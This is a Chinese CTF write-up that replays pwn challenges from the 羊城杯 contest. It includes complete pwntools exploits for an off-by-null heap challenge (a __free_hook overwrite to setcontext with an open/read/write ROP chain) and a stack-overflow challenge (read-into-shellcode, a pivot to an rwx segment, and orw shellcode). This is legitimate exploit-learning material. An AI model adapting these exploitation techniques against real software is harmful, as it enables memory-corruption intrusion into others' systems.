羊城杯复现

babyrop

白给题,直接ret system就行了

name

题目一开始bin中存在很多堆,通过这些堆可以泄露libc以及heap地址
edit函数中存在off-by-null,并且add函数中通过0x20的堆来来管理分配的堆块,思路是overlapping
得到任意地址写,然后改free_hook 为 setcontext + 53,setcontext需要满足释放的堆的地址 + 0xa0 = orw链内容的地址
0xa8 为 一个ret汇编指令的地址,正好对应frame.rsp 和 frame.rip,然后劫持rip到payload就可以了详情看exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
from pwn import *
p = process("./pwn")

libc = ELF("/lib/x86_64-linux-gnu/libc-2.23.so")
context.arch = "amd64"
context.os = "linux"

#context.log_level = "debug"


def add(size):
p.sendlineafter("5.exit\n","1")
p.sendlineafter("name size:\n",str(size))

def edit(idx,con):
p.sendlineafter("5.exit\n","2")
p.sendlineafter("index:\n",str(idx))
p.sendlineafter("name:\n",con)

def show(idx):
p.sendlineafter("5.exit\n","3")
p.sendlineafter("index:\n",str(idx))

def free(idx):
p.sendlineafter("5.exit\n","4")
p.sendlineafter("index:\n",str(idx))

add(0xe8)#0,本来在unsortedbin中
show(0)
libc_base = u64(p.recv(6).ljust(8,"\x00")) - 0x68 - libc.sym["__malloc_hook"]

log.info("libc_base: " + hex(libc_base))
add(0x10)#1,fd为堆地址
show(1)
heap_ad = u64(p.recv(6).ljust(8,"\x00"))
log.info("heap_ad : " + hex(heap_ad))

open = libc_base + libc.sym["open"]
read = libc_base + libc.sym["read"]
write = libc_base + libc.sym["write"]
setcontext = libc_base + libc.sym["setcontext"] + 53
free_hook = libc_base + libc.sym["__free_hook"]
log.info("free_hook : " + hex(free_hook))
pop_rdi = libc_base + 0x0000000000021112#pop rdi;ret;
pop_rsi = libc_base + 0x00000000000202f8#pop rsi;ret;
pop_rdx = libc_base + 0x0000000000001b92#pop rdx;ret;
ret = libc_base + 0x0000000000021113

add(0xf8)#2
add(0x38)#3
add(0xf8)#4
add(0x38)#5

free(2)
edit(3,"a"*0x30 + p64(0x140))
free(4)

add(0xf8)#2
add(0x20)#4 这个堆的控制堆会分配到堆2后面,就可以任意地址写了
add(0x38)#6

edit(3,"a"*8 + p64(free_hook))
edit(6,p64(setcontext))
edit(1,"/flag\x00\x00")

name_ad = heap_ad - 0x360#/flag\x00\x00的地址
flag_ad = heap_ad + 0x6a0#放flag的地址
pay_ad = heap_ad + 0x450#payload 的地址

payload = p64(pop_rdi) + p64(name_ad) + p64(pop_rsi) + p64(0) + p64(open)
payload += p64(pop_rdi) + p64(3) + p64(pop_rsi) + p64(flag_ad) + p64(pop_rdx) + p64(0x40) + p64(read)
payload += p64(pop_rdi) + p64(1) + p64(pop_rsi) + p64(flag_ad) + p64(pop_rdx) + p64(0x40) + p64(write)
#64位rop

edit(0,"a"*8 + payload)

frame = SigreturnFrame()
frame.rsp = pay_ad + 8
frame.rip = ret
#frame换成payload = "a" * 0xa0 + p64(pay_ad + 8) + p64(ret)也可以
edit(2,str(frame))
#gdb.attach(p)
free(2)
p.interactive()

nologin

64位保护就开了FULL relro,这个题不是很难,比赛的时候也没怎么看(大意了x,而且还有rwx段
禁用了execve,功能2中存在溢出,可以修改rbp以及rip,通过将rip覆盖为read,可以向栈上面读入shellcode,然后
call,rsi,就能通过布置在栈上的shellcode,将栈迁移到rwx段上,然后直接orw就可以了(需要注意的一点是注意./flag的地址)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
from pwn import *
p = process("./pwn")

libc = ELF("/lib/x86_64-linux-gnu/libc-2.27.so")
context.arch = "amd64"
elf = ELF("./pwn")

p.recvuntil("input>> \n")
p.sendline("2")
p.recvuntil(">password: \n")
payload = "aaaaa" + p64(0x602000) + p64(elf.plt["read"]) + p64(0x40186b)
shellcode = asm('''
xor rax,rax;
mov rsi,0x602000;
mov rdx,0x100;
syscall;
add rsi,0x10;
jmp rsi;
''')
print len(shellcode)#这里shellcode长度限制为0x1d
#gdb.attach(p)
p.sendline(payload)
p.sendline(shellcode)

shellcode1 = asm('''
xor rax, rax;
mov rax, 2;
mov rdi, 0x602008;
xor rsi, rsi;
xor rdx, rdx;
syscall;
mov rdi, rax;
xor rax, rax;
mov rsi, 0x602300;
mov rdx, 0x100;
syscall;
mov rax, 1;
mov rdi, 1;
syscall;
''')
#gdb.attach(p)
payload = "./flag\x00\x00"*2 + shellcode1
p.sendline(payload)
p.interactive()

size = 0x20 ad = 0x90
size = 0x30 ad = 0x98
size = 0x600 ad = 0x98 + 0x2f0
还有几个题找不到wp,算了,复现一下别的比赛